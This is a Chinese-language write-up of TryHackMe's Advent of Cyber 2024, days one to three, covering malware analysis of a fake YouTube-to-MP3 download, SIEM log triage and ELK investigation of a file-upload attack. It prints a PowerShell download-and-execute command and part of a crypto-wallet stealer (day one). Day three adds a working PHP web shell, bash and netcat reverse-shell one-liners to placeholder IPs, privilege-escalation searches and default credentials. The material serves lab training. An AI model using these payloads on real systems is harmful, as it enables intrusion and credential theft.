---
# System prepended metadata

title: Advent_of_Cyber_2024_(1/3)

---

# Advent of Cyber 2024 (1/3)

## Day 1 OPSEC

:::danger
*Maybe SOC-mas music, he thought, doesn't come from a store?*
:::
***
:::info
調查網站  
:::

我們正在調查的網站是一個 **YouTube 轉 MP3 轉換器**，目前在 SOC-mas 的組織者中被分享。你在聽到一些關於這個網站的令人擔憂的報告後，決定深入挖掘調查。  

![image](https://hackmd.io/_uploads/ByPTv_UVJx.png)

---


::: success
步驟 1：從 AttackBox 訪問網站  
:::
在 AttackBox 上，打開瀏覽器並訪問靶機IP。  

乍看之下，網站看起來很正規，甚至有關於頁面提到它是由 **“The Glitch”** 創建的，似乎為我們的調查工作提供了一些線索。  

---

::: warning
YouTube 轉 MP3 轉換器網站的風險  
:::
這類網站雖然提供方便的功能，但歷史上曾出現以下重大風險：  
1. **惡意廣告（Malvertising）：** 網站上的廣告可能利用漏洞感染使用者的系統。  
2. **網路釣魚（Phishing）：** 透過偽造問卷或優惠騙取使用者個人或敏感資訊。  
3. **綑綁惡意軟體（Bundled Malware）：** 某些轉換器可能隱藏惡意程式，讓使用者不知情地執行它們。  

---

:::success
步驟 2：下載並分析檔案  
:::
1. **輸入 YouTube 影片連結**  
   - 使用範例連結：https://www.youtube.com/watch?v=dQw4w9WgXcQ  
   - 點擊 **Convert** 按鈕並選擇 mp3 或 mp4。  
   - 檔案將以壓縮檔形式下載，例如 `download.zip`。  

2. **解壓縮檔案**  
   - 解壓後，你會看到兩個檔案：`song.mp3` 和 `somg.mp3`。  

3. **檢查檔案類型**  
   - 執行 `file` 指令來檢查檔案內容：  
     ```bash
     file song.mp3
     ``` 
     ```bash!
     user@tryhackme:~$ file song.mp3
     download.mp3: Audio file with ID3 version 2.3.0, contains:MPEG              ADTS, layer III, v1, 192 kbps, 44.1 kHz, Stereo
     ```
     這是一個普通的 MP3 檔案。  
   - 再檢查 `somg.mp3`：  
     ```bash
     file somg.mp3
     ``` 
     ```bash!
     user@tryhackme:~$ file somg.mp3
     somg.mp3: MS Windows shortcut, Item id list present, Points to a file    or directory, Has Relative path, Has Working directory, Has command line arguments, Archive, ctime=Sat Sep 15 07:14:14 2018, mtime=Sat Sep 15 07:14:14 2018, atime=Sat Sep 15 07:14:14 2018, length=448000,window=hide
     ```
     這是一個 **Windows 快捷方式（.lnk）檔案**，並非真正的 MP3。  
---
:::success
步驟 3：分析 somg.mp3 的內嵌內容  
:::
使用 **ExifTool** 查看內嵌指令：  
```bash
exiftool somg.mp3
```  
輸出顯示該檔案內含一個 PowerShell 指令，具體內容為：  
```bash!
powershell.exe -ep Bypass -nop -c "(New-Object Net.WebClient).DownloadFile('https://raw.githubusercontent.com/MM-WarevilleTHM/IS/refs/heads/main/IS.ps1','C:\ProgramData\s.ps1'); iex (Get-Content 'C:\ProgramData\s.ps1' -Raw)"
```  

此指令的目的：  
1. **使用`-ep Bypass -nop`繞過 PowerShell 限制**，允許惡意腳本執行。  
2. **從遠端伺服器下載腳本** `IS.ps1` 並儲存為 `s.ps1`。  
3. 使用 `iex` 執行該腳本，觸發惡意行為。  

---

:::success
步驟 4：分析 PowerShell 腳本的行為  
:::
該腳本會：  
- 尋找使用者系統中的加密貨幣錢包（如 **Bitcoin**、**Ethereum** 等）。  
- 搜集瀏覽器憑據與敏感資訊。  
- 將這些資訊傳送到攻擊者的伺服器。

腳本:
```python!
function Print-AsciiArt {
    Write-Host "  ____     _       ___  _____    ___    _   _ "
    Write-Host " / ___|   | |     |_ _||_   _|  / __|  | | | |"  
    Write-Host "| |  _    | |      | |   | |   | |     | |_| |"
    Write-Host "| |_| |   | |___   | |   | |   | |__   |  _  |"
    Write-Host " \____|   |_____| |___|  |_|    \___|  |_| |_|"

    Write-Host "         Created by the one and only M.M."
}

# Call the function to print the ASCII art
Print-AsciiArt

# Path for the info file
$infoFilePath = "stolen_info.txt"

# Function to search for wallet files
function Search-ForWallets {
    $walletPaths = @(
        "$env:USERPROFILE\.bitcoin\wallet.dat",
        "$env:USERPROFILE\.ethereum\keystore\*",
        "$env:USERPROFILE\.monero\wallet",
        "$env:USERPROFILE\.dogecoin\wallet.dat"
    )
    Add-Content -Path $infoFilePath -Value "`n### Crypto Wallet Files ###"
    foreach ($path in $walletPaths) {
        if (Test-Path $path) {
            Add-Content -Path $infoFilePath -Value "Found wallet: $path"
        }
    }
}

[Output truncated for brevity]
```
---
:::success
步驟 5：追蹤攻擊者  
:::
腳本中包含簽名 **“Created by the one and only M.M.”**，這是攻擊者的線索。  

我們在 **GitHub** 上搜索該字串，發現了一些相關的倉庫與 Issue 討論。攻擊者在討論中犯下了 OPSEC（行動安全）失誤，留下了數位足跡，使我們能將攻擊行為與其真實身份聯繫起來。  

---

:::warning
OPSEC（行動安全）的教訓  
:::

攻擊者常因以下錯誤暴露自己：  
1. 重複使用用戶名或電郵地址。  
2. 在程式碼或檔案中留有可識別的元數據。  
3. 公開發佈與自己真實身份相關的訊息。  

這些失誤讓我們能夠通過技術手段追蹤並揭露攻擊者的身份。

:::danger
OPSEC的案例
:::
==AlphaBay== 是其中一個最大的暗網市場，而其管理員 `Alexandre Cazes` 曾因為操作安全 (OPSEC) 的重大失誤而落網，這些失誤包括：  

- Cazes 在該網站的歡迎郵件中使用了電郵地址 `pimp_alex_91@hotmail.com`。  
  該電郵地址包含了他的出生年份及其他可識別的個人信息。  
- 他使用與自己真實姓名相關聯的比特幣帳戶進行資金提領。  
- Cazes 在多個平台上重複使用用戶名 `Alpha02`，將他的暗網身份與使用其真實姓名的論壇帖子聯繫起來。  

**中國軍方駭客組織（APT1）**  
臭名昭著的中國駭客組織 ==APT1== 也曾犯下多次操作安全失誤，包括：  

- 其中一名成員王東在惡意軟件代碼中使用了暱稱 `Ugly Gorilla`。  
  這個暱稱被發現與其真實姓名相關的程式設計論壇帖子相關聯。  
- 該組織在用戶名、代碼及密碼命名方面使用了可預測的命名規則。  
- 他們的活動時間與北京的工作時間一致，直接暴露了他們的地理位置。  

這些失誤為網絡安全研究人員和執法機構提供了足夠的線索，得以公開識別該組織的成員身份。

---

::: info
揭秘MM
:::
如果您徹底調查了 `GitHub` 搜尋結果，您應該已經發現了一些基於惡意行為者糟糕的==OPSEC==實踐的線索。

我們知道攻擊者在==PowerShell==程式碼 (MM)中留下了獨特的簽章。這使我們能夠在 `GitHub` 上搜尋相關儲存庫和問題頁面。然後我們發現了一個問題頁面，攻擊者在其中進行討論，提供更多上下文並將他們的活動連結到其他項目。

![image](https://hackmd.io/_uploads/HJZeQYIEyl.png)


在這次討論中，他們回答了有關修改代碼的詢問。這種反應，加上他們獨特的把柄，是另一個嚴重的失誤，留下了一系列可以追溯到他們的證據。透過分析時間戳記、用戶名及其互動的性質，我們現在可以將攻擊背後的主謀歸咎於 MM。

::: spoiler ***問題***
#### 1.Looks like the song.mp3 file is not what we expected! Run "exiftool song.mp3" in your terminal to find out the author of the song. Who is the author? 

#### 2.The malicious PowerShell script sends stolen info to a C2 server. What is the URL of this C2 server?
HINT:||**Look for the "$c2Url" variable in the PowerShell script.**||
#### 3.Who is M.M? Maybe his Github profile page would provide clues?

#### 4.What is the number of commits on the GitHub repo where the issue was raised?
HINT:||**Check out the commit history here: https://github.com/Bloatware-WarevilleTHM/CryptoWallet-Search/commits/main/**||
:::spoiler **Writeup**

# 1

就下載下來之後執行`exiftool Song.mp3`就看到ㄌ

# 2

我翻了一下MM的==Github==，這是他之前寫過的一個==script==，看起來跟這次用的一樣:[link](https://github.com/Bloatware-WarevilleTHM/CryptoWallet-Search/issues/1)

裡面有一個`funtion`叫做`end-InfoToC2Server` 就找到ㄌ

# 3

翻一下MM的github，可以看到他有一個專案名稱是自介的，[link](https://github.com/MM-WarevilleTHM/M.M)可以看到他說他known as _____

# 4

這題我看HINT才知道鏈結的，可以看到他裡面的Commits

:::


## Day 2 Log analysis

:::danger
*One man's false positive is another man's potpourri.*
:::
***
:::warning
**TP or FP?**
:::
![image](https://hackmd.io/_uploads/HJpEAaLV1e.png)

**真陽性 (True Positives) 還是假陽性 (False Positives)?**  

在安全運營中心（==SOC==）中，來自不同設備的事件會被發送到***安全信息和事件管理系統***（==SIEM==），這是所有信息和事件的唯一事實來源。系統中會定義一些規則（檢測工程規則），以從這些事件中識別***惡意或可疑活動***。如果某個事件或一組事件符合規則的條件，則會觸發警報。==SOC 分析員==接著會分析警報，以確定該警報是否為==真陽性 (TP) 或假陽性 (FP)==。  

- **真陽性 (TP)**：警報包含實際的惡意活動。  
- **假陽性 (FP)**：警報由實際並非惡意的活動觸發。  

理論上這聽起來很簡單，但實際上將 ==TP== 與 ==FP== 區分開來可能是一項繁瑣的工作。有時，區分攻擊者和系統管理員的活動可能會變得非常混淆。  

---

:::success
**做出決策**  
:::
雖然區分 ==TP== 和 ==FP== 可能令人困惑，但正確分類至關重要。如果將 ==TP== 錯誤分類為 ==FP==，可能會錯過一次重要的網絡攻擊；如果將 ==FP== 錯誤分類為 ==TP==，則會浪費寶貴的時間在 ==FP== 上，可能導致對真正攻擊的關注度降低。那麼，我們如何確保有效完成這項關鍵任務？以下是一些指導方針：  

1. **監控儀表板**  
2. **使用 SOC 的超能力**  (???????
---

:::info
**SOC 的超能力** 
:::
==SOC== 擁有一項超能力：當無法確定某項活動是由惡意行為者還是合法用戶執行時，他們可以直接與用戶確認。而攻擊者無法使用這項特權。==SOC== 分析員可以通過發送電子郵件或致電相關人員來確認某項活動。在成熟的組織中，任何可能觸發 ==SOC== 警報的變更通常需要通過 IT 變更管理流程創建並批准變更請求 (==Change Requests==, ==CR==)。==SOC== 團隊可以要求用戶提供 ==CR== 詳細信息作為確認。如果活動是合法且已批准的，那麼必然會有一份已批准的 ==CR==。  

---

:::info
**相關性** 
:::
儘管使用 ==SOC== 的超能力似乎使事情變得簡單，但事實並非總是如此。有些情況可能成為 ==SOC== 超能力的「氪石」(?)：  

- 組織未實施變更請求流程。  
- 執行的活動超出了變更請求的範圍，或與已批准的變更請求不同。  
- 某些活動觸發了警報，例如將文件複製到某個位置、上傳文件到某網站，或系統登錄失敗。  
- 內部威脅執行了未經授權的活動（無論是故意還是無意）。  
- 用戶因威脅行為者的社交工程而執行了惡意活動。  

在這些情況下，==SOC== 分析員必須理解活動的上下文，並根據其分析技能和安全知識作出判斷。分析員可以查看用戶的過去行為或某事件/工件在整個組織或特定部門中的普遍性。例如，如果網絡團隊的某用戶使用 ==Wireshark==，那麼其他網絡團隊成員也可能使用該工具；但如果在 ==HR== 或財務部門的電腦上看到 ==Wireshark==，則值得引起警覺。  

---

:::success
建立上下文：關聯性分析
:::
為建立上下文，分析員必須關聯不同事件以形成==故事==或==時間線==。關聯性分析涉及使用==過去==和==未來==的事件來==重建事件時間線==。在進行關聯性分析時，需要記錄一些重要的工件，例如 ==IP 地址、機器名稱、用戶名、哈希值、文件路徑等==。  

關聯性分析需要建立許多假設，並確保==證據支持這些假設==。例如，一個假設可能是某用戶從假冒域名下載了惡意軟件。支持此假設的證據可以是==代理日誌==，顯示該網站被訪問過，該網站使用了==假冒域名==，並從該網站下載了一個文件。然後，為了判斷該惡意軟件是通過應用程序的漏洞執行還是用戶故意執行的，可以查看惡意軟件的==父進程==以及執行該惡意軟件的==命令行參數==。如果父進程是 `Windows Explorer`，則可以假設用戶是故意執行的（或者被社交工程欺騙執行的）；如果父進程是==網頁瀏覽器或文書處理軟件==，則可能是==應用程序漏洞導致==的執行。  

:::info
啟動虛擬機
:::
我們可以點擊左上角的選單並轉到`Discover`選項卡以查看事件。

![image](https://hackmd.io/_uploads/S1U2CKLV1l.png)

---
:::info
設置時間範圍
:::
根據市長辦公室發送的警報，該活動發生在 `2024 年 12 月 1 日 09:00 至 09:30`之間。請注意，我們需要點擊==Absolute==標籤並設定我們要查看的確切時間範圍。最後，點擊==Update==按鈕以應用更改。

![image](https://hackmd.io/_uploads/BJs-y5IN1x.png)

然後可以看到有21個事件

![image](https://hackmd.io/_uploads/BkEnApL4Je.png)

---
:::info
增加欄位使數據更易閱讀
:::
左邊的欄位選擇要檢視的目標，使得這個事件更具可讀性

![image](https://hackmd.io/_uploads/rJj0yALEJe.png)

然後我們要尋找與==Powershell==相關的事件，所以我們會新增以下條件:

* 運行指令的主機名稱，使用`host.hostname`
* 執行該活動的使用者，使用`user.name`
* 添加`event.category`來確保我們正在查看正確的事件類別
* 查看==Powershell==執行的實際指令，使用`process.command_line`
* 確定活動是否成功執行，添加`event.outcome`欄位

上面都添加完後，可以看到資料變的視覺化:

![image](https://hackmd.io/_uploads/Byq9zAINke.png)

---
:::warning
初步發現
:::

看起來有人在多台電腦上執行了相同的==Powershell==指令，另外要注意的是，每次執行==Powershell==指令之前，都可以看到一個身分驗證事件，是成功的

![image](https://hackmd.io/_uploads/Hy8kXAIEkx.png)

---
:::warning
確定來源 IP
:::
新增`source.ip`來找出是誰執行了Powershell指令:

![image](https://hackmd.io/_uploads/SJe7XR8Vyg.png)

因為`source.ip`僅適用於身分驗證事件，所以我們可以只留下身分驗證事件，在`event.category`的事件欄位上可以看到有個加號跟減號，對`authentication`的事件類別點加號就可以只顯示身分驗證類別的事件:

![image](https://hackmd.io/_uploads/ryp97AUVye.png)

就可以看到輸出的結果只有身分驗證事件，但是出來的事件好像沒什麼幫助，所以點選右上角的叉叉把該過濾刪掉吧

![image](https://hackmd.io/_uploads/Hya-4CLNke.png)

---

:::warning
擴展時間範圍
:::

因為我們之前使用的時間範圍是真的Powershell事件的，而且身分驗證事件可能來自這之前，所以我們需要擴大搜索範圍來了解事件的上下文和歷史事件，讓我們看一下從11/29到12/1之間是否有任何來自用戶的事件，更新這幾天的時間過濾器，如圖:

**注意:執行此步驟之前季的先把`event.category`過濾器取消**

![image](https://hackmd.io/_uploads/H1f5E0L4yx.png)

---

:::warning
濾除與篩選
:::
可以看到這三天發生了超過6800個事件，為了進一步了解這些事件，我們可以篩選 `user.name` 為 ==service_admin== 且 `source.ip` 為 `10.0.11.11` 的事件。結果顯示，所有事件均來自相同的用戶和 IP 地址。

一樣，全部選擇身分驗證事件

![image](https://hackmd.io/_uploads/rk2mvCIEJx.png)

然後看一下除了`10.0.11.11`的ip之外還有沒有別的，所以我們將`10.0.11.11`的ip排除在過濾器之外

![image](https://hackmd.io/_uploads/ByaPDC8Vyl.png)

結果看起來會像這樣:

![image](https://hackmd.io/_uploads/B11FvRUVyl.png)

另一個ip(`10.0.255.1`)好像在嘗試登入，這可能是另外一個腳本

我們先刪除`source ip`過濾器，這樣我們可以更專注在接近峰值的身分驗證事件。

可以看到新IP登入後，失敗的登入停止了一段時間:

![image](https://hackmd.io/_uploads/Sk7TO0UVyg.png)

懷疑正在增加，似乎有人在12/1時嘗試了暴力攻擊

![image](https://hackmd.io/_uploads/BJRAdRUV1g.png)

並且他們的暴力攻擊嘗試成功，並在受影響的電腦上快速執行了一些==Powershell==指令，我們沒有看到任何進一步的登入嘗試

***

:::danger
判斷行為
:::
結果顯示，有人在 12 月 1 日進行了一次暴力破解，成功登入後執行了 ==PowerShell==命令並停止了後續登錄嘗試。這看起來像一次針對系統的有針對性的入侵活動。

但我們意識到沒有人真正查看過==Powershell==到底執行了什麼，因此下一步就是調查==Powershell==的執行命令


:::danger
調查 PowerShell 命令
:::
我們可以過濾`event.category:process`，並查看 `process.command_line` 中的 ==PowerShell ==命令。該命令是 ==Base64== 編碼，可以使用解碼工具（如 ==CyberChef==）進行解碼。在解碼後，我們發現有人更新了憑據。

```bash!
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -EncodedCommand SQBuAHMAdABhAGwAbAAtAFcAaQBuAGQAbwB3AHMAVQBwAGQAYQB0AGUAIAAtAEEAYwBjAGUAcAB0AEEAbABsACAALQBBAHUAdABvAFIAZQBiAG8AbwB0AA==
```

==base64==過後長這樣:

![image](https://hackmd.io/_uploads/H13Ks0U41e.png)

結果出來的執行結果是`Install-WindowsUpdate -AcceptAll -AutoReboot`，沒有惡意

:::success
驚人的發現
:::
調查結果顯示，這次活動實際上是 Glitch 修復了系統中的憑據漏洞，而不是破壞系統。這表明 Glitch 的行為被誤解了，但也揭示了真正的安全威脅可能來自市長。

這個案例展示了 ==SOC== 團隊如何通過數據分析辨別真偽，並有效應對潛在的安全事件。

:::spoiler ***問題***

#### 1.What is the name of the account causing all the failed login attempts?

#### 2.How many failed logon attempts were observed?
HINT:||Set the event.category filter to authentication and event.outcome to failure.||

#### 3.What is the IP address of Glitch?

#### 4.When did Glitch successfully logon to ADM-01? Format: MMM D, YYYY HH:MM:SS.SSS
HINT:||Set the event.category filter to authentication, event.outcome to success, and host.hostname to ADM-01.||

#### 5.What is the decoded command executed by Glitch to fix the systems of Wareville?

:::spoiler **Writeup**
# 1:
題目這邊要問的應該是哪一個帳號被爆破，反正`user.name`放眼望去也只有==service_admin==就是了

# 2:
新增`failure`，事件選`authentication`，就可以看到了

# 3:
那個被打碼的ip就是了，如果問為什麼是他的話可以把事件重新看一次

# 4:
那個ip唯一一個成功登入的事件的時間

# 5:
==base64==解碼出來的結果就是了
:::












## Day 3 Log analysis

:::danger
*Even if I wanted to go, their vulnerabilities wouldn't allow it.*
:::
***
:::info
**Log Analysis & Introducing ELK**
:::
日誌分析是藍隊工作的重要部分，正如你可能在今年的==Advent of Cyber==活動中已經發現的那樣。

當設備和服務數量繁多時，分析日誌可能會迅速變得令人不堪重負。而 `ELK`（`Elasticsearch`、`Logstash` 和 `Kibana`）則結合了***數據分析***與***處理工具***，使日誌分析變得更加可控。`ELK` 組成了一個專門的堆疊，可以將多個來源的日誌匯總到一個中央位置。

今天任務的第一部分是調查 `Frosty Pines Resort` 飯店管理系統遭到的攻擊，體驗藍隊成員會看到的情況。接著，你將測試你的網頁應用技能，重新創建該次攻擊。
***
:::info
**Using ELK**
:::
對於今天的任務，我們將使用`Kibana`的==Discover==介面來查看 Apache2 日誌。要存取此功能，只需單擊頁面左上角的三行即可打開滑出式托盤。在==Analytics==標題下，按一下==Discover==

![image](https://assets.tryhackme.com/additional/aoc2024/blue/1.gif)

我們需要選擇與我們任務相關的集合。集合是指一組日誌。在 ==Operation Blue== 的這個階段，我們將審查位於 ==wareville-rails== 集合中的日誌。要選擇這個集合，請點擊顯示器左側的下拉選單。

![image](https://hackmd.io/_uploads/Byd4z9BNJe.png)

出現`No results`是正常的 因為沒有選擇時間

![image](https://hackmd.io/_uploads/B1nwz5HNJe.png)

點選左上角的時間清單，點選`Absolute`，然後將時間調成這樣:
`start time:October 1 2024 00:00:00` `end time:October 1 23:30:00`

![image](https://assets.tryhackme.com/additional/aoc2024/gifs/newelastic.gif)

然後就會出現這些東西:(如果圖片比較小可以拉新視窗放大)
![image](https://hackmd.io/_uploads/SyGH7crEJg.png)

1. **搜尋欄 (Search Bar)**: 在此，我們可以使用 ==KQL== 放置搜尋查詢。
2. **索引模式 (Index Pattern)**: 索引模式是日誌的集合。這可以來自特定主機，或例如來自具有相似目的的多個主機（例如多個網頁伺服器）。在本例中，索引模式是與 ==wareville-rails== 有關的所有日誌。
3. **欄位 (Fields)**: 這個窗格顯示 ==Elasticsearch== 從日誌中解析出的欄位，例如時間戳、回應類型和 IP 位址。
4. **時間軸 (Timeline)**: 此視覺化圖表顯示了在一段時間內的事件計數。
5. **文件（日誌）(Documents/Logs)**: 這些條目是日誌檔案中的具體條目。
6. **時間篩選器 (Time Filter)**: 我們可以使用此功能縮小到特定的時間範圍（絕對值）。或者，我們可以基於相對性搜尋日誌。

***

:::info
**Kibana Query Language (KQL)**
:::

==KQL==，全稱為 `Kibana Query Language`，是一種易於使用的語言，可用於在文件中搜尋特定的值。例如，可以查詢某個欄位中的值是否存在或與某個值匹配。如果你熟悉 ==Splunk==`(cyberrange會用)`，你可能會聯想到 ==SPL==（`Search Processing Language`）。

例如，搜尋所有包含特定 IP 位址的文件的查詢語法可能是：
`ip.address: "10.10.10.10"`
![image](https://hackmd.io/_uploads/ry7pBqBVyx.png)
此外，==Kibana== 還支持使用 ==Lucene== 查詢，這是一種進階語言，支持模糊詞（搜尋與提供的詞相似的項目）、正則表達式等功能。在今天的任務中，我們將繼續使用預設啟用的 ==KQL==。以下表格包含 ==KQL== 語法的簡易速查表，可能對今天的任務有所幫助：  

| **查詢and語法** | **描述**                                                                                         | **範例**                                                |
| ------------- | ------------------------------------------------------------------------------------------------ | ------------------------------------------------------- |
| `""`          | 雙引號用於搜尋文件中的特定值，括在引號中的值進行精確搜尋。                                       | `"TryHackMe"`                                           |
| `*`           | 星號表示通配符，用於搜尋與提供值相似的文件。                                                     | `United*`（會返回 "United Kingdom" 和 "United States"） |
| `OR`          | 邏輯運算符，用於顯示包含任一提供值的文件。                                                       | `"United Kingdom" OR "England"`                         |
| `AND`         | 邏輯運算符，用於顯示包含所有提供值的文件。                                                       | `"Ben" AND "25"`                                        |
| `:`           | 用於在文件的指定欄位中搜尋特定值，例如 IP 地址。請注意，提供的欄位需與索引模式中的可用欄位匹配。 | `ip.address: 10.10.10.10`                               |

**使用 ==ELK== 調查網路攻擊**  
**情境：** 由於我們的入侵檢測能力，我們的系統在 2024 年 10 月 1 日警告 SOC 團隊，`WareVille Rails` 訂房平台被上傳了一個網頁後門。我們的任務是檢查網頁伺服器日誌，以確定攻擊者是如何實現這一點的。  

如果你想跟隨操作，請確保選擇了 `wareville-rails` 集合，如下所示：  

![image](https://hackmd.io/_uploads/B1kj89SVJl.png)


讓我們將時間篩選器更改為顯示攻擊當天的事件，將起始日期和時間設置為 `"Oct 1, 2024 @ 00:00:00.000"`，結束日期和時間設置為 `"Oct 2, 2024 @ 00:00:00.000"`。

![image](https://hackmd.io/_uploads/Byb0P5BEkl.png)

您會看到日誌已填充到顯示區域中。請注意，此任務中的條目數量（命中數）可能與實際 VM 中的數量不同。

![image](https://hackmd.io/_uploads/SJ2yucHEyg.png)

==ELK== 的一個極為有用的功能是可以過濾不必要的封包。一個網頁伺服器（尤其是受歡迎的伺服器）可能會有大量與攻擊無關的用戶流量日誌。通過使用左側的欄位窗格，可以點擊欄位旁邊的「+」和「-」圖標，分別顯示僅包含該值的日誌或將其從顯示中刪除。  

**小提示：** 點擊這些過濾器實際上是應用了相應的 ==KQL== 語法。

例如，在下圖中，我們過濾了僅顯示包含 IP 位址 `10.13.27.115` 的日誌（命中數從 1,028 減少到 423）。我們可以結合多個欄位的過濾條件，精確鎖定目標日誌。

![image](https://assets.tryhackme.com/additional/aoc2024/blue/8.gif)

要刪除已應用的過濾條件，只需點擊搜尋欄下方過濾器旁的 "x"。

![image](https://hackmd.io/_uploads/HJrL_qSN1g.png)


在這次調查中，讓我們關注 IP 位址 `10.9.98.230` 的活動。我們可以點擊==clientip==欄位來查看出現最多的 IP。

![image](https://hackmd.io/_uploads/BypI_5SEJl.png)


從頂部的時間軸，我們可以看到該 IP 位址的大量活動集中在 **11:30:00 至 11:35:00**。這是一個良好的起點。

![image](https://hackmd.io/_uploads/ByvYOqBE1x.png)

每個日誌可以通過點擊左側的 ">" 圖標展開。幸運的是，此案例中的日誌相對較小，因此我們可以瀏覽它們以尋找任何異常。

![image](https://assets.tryhackme.com/additional/aoc2024/blue/12.gif)

經過一番篩查，我們發現了一些突兀的日誌。查看==request==欄位時，我們可以看到名為 **`"shell.php"`** 的文件被訪問，並帶有一些參數 **"c"** 和 **"d"**，這些可能是通過某種網頁後門輸入的命令。

![image](https://hackmd.io/_uploads/rysiOqBEke.png)

現在我們有了一個初步線索，讓我們使用搜尋查詢來找到所有包含 **`"shell.php"`** 的日誌。在頂部的搜尋欄中輸入：  
`message: "shell.php"`  
這將搜尋日誌消息欄位中包含 **"shell.php"** 的所有條目。

![image](https://hackmd.io/_uploads/r1GXK5r41x.png)

---
:::    danger
**OPERATION RED**
:::
現在，我們轉向攻擊的紅隊視角，即攻擊本身及其執行方式。

---
::: success
**為何網站允許文件上傳？**
:::
文件上傳在網站中非常常見，例如用戶上傳個人圖片、發票或其他文檔來更新帳戶、發送收據或提交申請。這些功能讓用戶體驗更加流暢。但若處理不當，文件上傳功能會帶來風險，成為攻擊者利用的漏洞。

---

::: danger
**文件上傳漏洞**
:::
文件上傳漏洞發生在網站未正確處理用戶上傳的文件時。例如：
- **RCE（遠程代碼執行）：** 攻擊者上傳一個腳本並由伺服器執行，從而控制伺服器。
- **XSS（跨站腳本攻擊）：** 攻擊者上傳含有 XSS 代碼的 HTML 文件來竊取用戶的 Cookie。

---

::: success
**為何不受限制的文件上傳很危險？**
:::
不受限制的文件上傳允許攻擊者上傳任何類型的文件。如果文件內容未被正確驗證（例如僅接受 PNG 或 JPG 格式），攻擊者可能上傳惡意腳本（如 PHP 文件或可執行文件），伺服器可能處理並執行它們，導致 RCE 或其他安全問題。

---

::: danger
**弱密碼的使用** 
:::
攻擊者侵入系統的最簡單方法之一是利用弱密碼或默認憑據。這為攻擊者提供了一個未經授權訪問的切入點。默認憑據通常出現在管理員在安裝過程中未更改初始登錄詳細信息的系統中。對於攻擊者來說，嘗試一些常見的用戶名和密碼組合，往往就能輕易取得訪問權限。

以下是攻擊者可能嘗試的一些弱密碼或默認憑據示例：  

| **用戶名**       | **密碼**        |  
|------------------|-----------------|  
| admin           | admin           |  
| administrator   | administrator   |  
| admin@domainname | admin           |  
| guest           | guest           |  

攻擊者可以使用工具或手動嘗試這些常見憑據，通常這些嘗試就足以突破系統安全防線。

---

::: info
**什麼是遠程代碼執行（RCE）？**
:::
遠程代碼執行（RCE）是指攻擊者找到方法在系統上運行自己的代碼，這是一種高度危險的漏洞。攻擊者可能通過它控制系統、竊取敏感數據，甚至影響其他連接的系統。

---

:::info
**什麼是 Web Shell？**
:::
Web Shell 是攻擊者上傳到易受攻擊的伺服器上的腳本，讓他們能遠程控制伺服器。攻擊者可用 Web Shell 執行命令、操作文件，甚至利用被攻陷的伺服器攻擊其他系統。

---

::: success
利用檔案上傳實現遠端程式碼執行 (RCE)
:::

現在我們將介紹如何利用此漏洞。您可以先閱讀並了解，稍後將有機會實際操作。一旦識別出可以通過檔案上傳利用的 ==RCE== 漏洞，我們需要創建一個惡意檔案，該檔案上傳後可以實現遠端程式碼執行。

以下是一個範例 PHP 檔案，可以上傳以利用該漏洞。使用您喜愛的文字編輯器，複製以下程式碼並保存為 **`shell.php`**。

```html
<html>
<body>
<form method="GET" name="<?php echo basename($_SERVER['PHP_SELF']); ?>">
<input type="text" name="command" autofocus id="command" size="50">
<input type="submit" value="Execute">
</form>
<pre>
<?php
    if(isset($_GET['command'])) 
    {
        system($_GET['command'] . ' 2>&1'); 
    }
?>
</pre>
</body>
</html>
```

上述腳本會顯示一個輸入框，當訪問此腳本並輸入指令後，這些指令將使用 ==PHP== 的 `system()` 函數執行，並顯示輸出。這是用於攻擊某個易受攻擊的鐵路系統預訂應用程式的完美檔案。此漏洞與上傳新個人資料圖片功能相關。因此，我們需要導航到個人資料圖片頁面：

![image](https://hackmd.io/_uploads/SyO-a5rVyx.png)

我們可以上傳此惡意 ==PHP== 腳本並更新個人資料，而不是上傳新的圖片：

![image](https://hackmd.io/_uploads/H1DM69HN1e.png)


對於此應用程式，可以通過無限制的檔案上傳實現 ==RCE==。一旦此 "個人資料圖片" 上傳並更新，它將存儲在 `/admin/assets/img/profile/` 目錄中。然後，可以直接通過以下地址訪問該檔案：  
`http://<ip-address-or-localhost>/<projectname>/admin/assets/img/profile/shell.php`  

![image](https://hackmd.io/_uploads/SJ9Xa5SVyx.png)

現在，我們可以通過輸入框直接執行系統命令，並顯示結果。例如，執行 `pwd` 指令將返回以下內容：

![image](https://hackmd.io/_uploads/SJAY6qB4kx.png)

---

::: info
利用此漏洞
:::
成功利用漏洞並通過 ==Web shell== 獲取系統存取權限後，可以根據目標和系統配置進行下一步操作。以下是一些可用指令的範例（假設系統為 `Linux`）及其用途：

| 指令 | 用途 |
|------|------|
| `ls` | 查看目錄中的檔案和目錄 |
| `cat` | 輸出文字檔案的內容 |
| `pwd` | 確認當前所在的系統目錄 |
| `whoami` | 確認當前使用者身份 |
| `hostname` | 查看系統名稱及其網路角色 |
| `uname -a` | 查看作業系統和核心版本資訊 |
| `id` | 確認當前使用者所屬的群組 |
| `ifconfig` | 查看系統網路設置 |
| `bash -i >& /dev/tcp/<your-ip>/<port> 0>&1` | 啟動反向 Shell |
| `nc -e /bin/sh <your-ip> <port>` | 使用 Netcat 啟動反向 Shell |
| `find / -perm -4000 -type f 2>/dev/null` | 搜尋 SUID 檔案（常用於提權） |
| `find / -writable -type f 2>/dev/null` | `grep -v "/proc/"` | 搜尋可寫入檔案（提權時有用） |

這些指令只是成功利用 ==RCE== 後的部分操作範例，具體行動取決於環境及系統漏洞。

---

:::warning
實作練習
:::
今天的任務包括兩個部分：

1. 造訪 ==`Kibana`== 調查攻擊並回答藍色問題。
2. 造訪 ==`Frosty Pines Resort`== 網站，重現攻擊並回答紅色問題，通知開發者網站中哪些元素易受攻擊。

請注意，訪問 Frosty Pines Resort 網站需要在主機檔案中新增引用。在 AttackBox 中，可以通過終端執行以下指令完成：

```bash
echo "10.10.216.40 frostypines.thm" >> /etc/hosts
```
---

:::spoiler ***問題***

###    **1. BLUE: Where was the web shell uploaded to?**
`Answer format: /directory/directory/directory/filename.php`
HINT:||Images are stored here. ||

###    **2. BLUE: What IP address accessed the web shell?**
HINT:||Filter the IP values in ELK to determine their activity. Only one of them is malicious.||

###    **3. RED: What is the contents of the flag.txt?**
HINT:||https://www.youtube.com/watch?v=dQw4w9WgXcQ||

:::spoiler **Writeup**
# 1:

在`Search bar`那邊搜尋`message: "shell.php"`可以看到幾個封包的`path`怪怪的:

![image](https://hackmd.io/_uploads/S18IioSEJe.png)

# 2:

根據上一題的封包內容可以看到`10.9.254.186`將==webshell==上傳到==server==上ㄌ，接著有人使用了這個==webshell==來輸入`command`

